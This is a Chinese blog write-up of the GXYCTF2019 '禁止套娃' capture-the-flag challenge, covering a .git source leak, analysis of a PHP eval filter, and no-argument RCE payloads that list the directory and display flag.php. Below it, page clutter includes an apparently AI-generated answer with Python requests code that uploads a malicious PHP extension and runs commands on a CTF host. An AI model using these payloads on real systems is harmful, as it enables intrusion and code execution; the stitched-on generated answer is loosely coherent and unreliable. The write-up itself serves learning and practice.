[GXYCTF2019]禁止套娃_wp

文章讲述了在面对一个只显示一句话的网页时,如何通过扫描工具发现隐藏的.git目录,进而使用GitHack获取源码。之后分析了网站源码中的过滤机制,包括对文件读取协议、正则表达式过滤和特定函数限制。作者通过组合使用localeconv(),current(),scandir()和print_r()等函数构造payload,绕过过滤并获取当前目录信息,最终通过array_rand()和array_flip()函数找到并显示了flag.php的内容。
摘要由CSDN通过智能技术生成

打开题目

 

页面就一句话,查看页面源代码也没有信息,尝试文件读取也行不通,所以使用ctf-wscan脚本扫目录。ctf-wscan下载地址

 可以看到存在".git"目录,那这道题就存在git源码泄漏。所以用GitHack去获取源码。GitHack下载地址

打开下载好的index.php源码。

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>
  •  这里存在三重过滤,第一重过滤了读取文件的伪协议,所以没法直接读文件。
  • 第二重使用正则表达式将匹配到的内容置空,经过preg_replace()处理完之后只留下一个分号才能进入下一层if。
  • [a-z,_]匹配小写字母a到z和下划线,+就是多次匹配。
  • "\"转义符。
  • (?R)代表当前表达式,即[a-z,_]+\((?R)?\)
  • (?R)?表示递归执行当前表达式0次或1次。

经过分析,这个正则会递归匹配小写字母或下划线加上一对小括号形式。在本地测试一下。

但如果小括号里的内容不是字母加上括号的形式就无法匹配。

这样我们就只能使用无参数的函数来攻击,也就是无参数RCE。

最后一层过滤了一些字符串,有些函数用不了。所以构造的payload为:

?exp=print_r(scandir(current(localeconv())));

解读一下:

  • localeconv()函数返回一个包含本地数字及货币格式信息的数组。该数组第一个值是一个点"."
  • current() 函数返回数组中的当前元素的值。初始指针通常指向第一个元素,所以current(localeconv())就会返回"."
  • scandir() 函数返回指定目录中的文件和目录的数组。当传入参数为"."时就会返回当前目录中的所有文件
  • print_r()函数就是打印
  • 所以执行这条payload之后就会打印出当前目录下的所有文件

flag.php在当前数组的第三个位子,但没什么函数能直接读第三个值。

?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));

当目标文件不在特殊位置的时候可以用array_rand()和array_flip()函数搭配使用。

  • array_rand() 函数返回数组中的一个随机键名
  • array_flip() 函数用于反转/交换数组中的键名和对应关联的键值

使用这条payload刷新几次就能得到flag

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CTFSHOW套shell是一种常见的利用技术,用于在Web应用程序中执行命令和控制服务器。根据提供的引用内容,以下是一种使用CTFSHOW套shell的方法: 1. 首先,需要获取CTFSHOW扩展。可以通过运行命令`php ext_skel.php --ext ctfshow --std`来生成该扩展的目录。 2. 进入生成的目录,并编辑.c文件,根据需要进行修改。 3. 执行以下命令来编译和安装扩展:`phpize ./configure make && make install`。编译完成后,会告知具体的扩展安装位置。 4. 通过发送POST请求,使用CTFSHOW套shell来写入并执行命令。示例代码如下: ```python import requests url = "http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/" data = {'file': '/usr/local/lib/php/extensions/no-debug-non-zts-20180731/mysqli.so', 'content': open('ctfshow.so', 'rb').read()} requests.post(url + '?a=write', data=data) requests.get(url + '?a=run') ``` 5. 使用CTFSHOW套shell执行命令。可以使用以下命令示例: ```python import requests url = "http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/" data = {'cmd': 'cat /f*'} requests.post(url + '?a=shell', data=data) ``` 这样,您就可以使用CTFSHOW套shell来执行命令并获取所需的结果了。请注意,使用套shell存在安全风险,应仅在合法和授权的情况下使用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [CTFSHOW 常用姿势篇(811-820)](https://blog.csdn.net/miuzzx/article/details/124038567)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值